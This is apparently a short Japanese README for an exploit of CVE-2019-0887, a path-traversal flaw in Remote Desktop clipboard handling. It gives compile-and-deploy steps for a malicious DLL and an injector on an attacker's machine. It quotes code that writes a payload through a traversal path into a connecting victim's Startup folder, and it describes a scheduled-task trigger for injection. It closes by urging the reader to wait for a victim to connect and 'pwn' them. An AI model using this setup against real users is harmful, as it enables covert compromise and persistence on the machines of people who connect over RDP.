
CVE-2019-0887 用の exp
CVE-2019-0887 をコンパイルし、winhlp.dll にリネームします
Install_Hook をコンパイルし、hook.exe にリネームします
注意: これらは x64 でコンパイルする必要があります
その後、悪意のあるシステムに次のように配置します
c:\windows\hook.exe
c:\windows\winhlp.dll
c:\windows\winhlp64.exe # something evil
パスを変更したい場合は、ここがポイントです
# CVE-2019-0887/dllmain.cpp
WCHAR evalfile[] = { L"C:\\windows\\winhlp64.exe" };
WCHAR efile[] = { L"C:\\windows\\system32\\..\\..\\..\\..\\..\\../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/winhlp32.exe" };
# Install_Hook/ConsoleApplication.cpp
LoadDll(pid, "C:\\Windows\\winhlp.dll");
おそらく taskschd.msc を使用してタスクプランを作成し、トリガーを「ユーザーセッションへの接続時」に設定し、hook.exe のファイルパスを設定します。
誰かが私の悪意のあるシステムに接続して何かをコピーするのを待って、pwn する...
ヒント: DLL ハイジャックを使ってみてはどうでしょうか?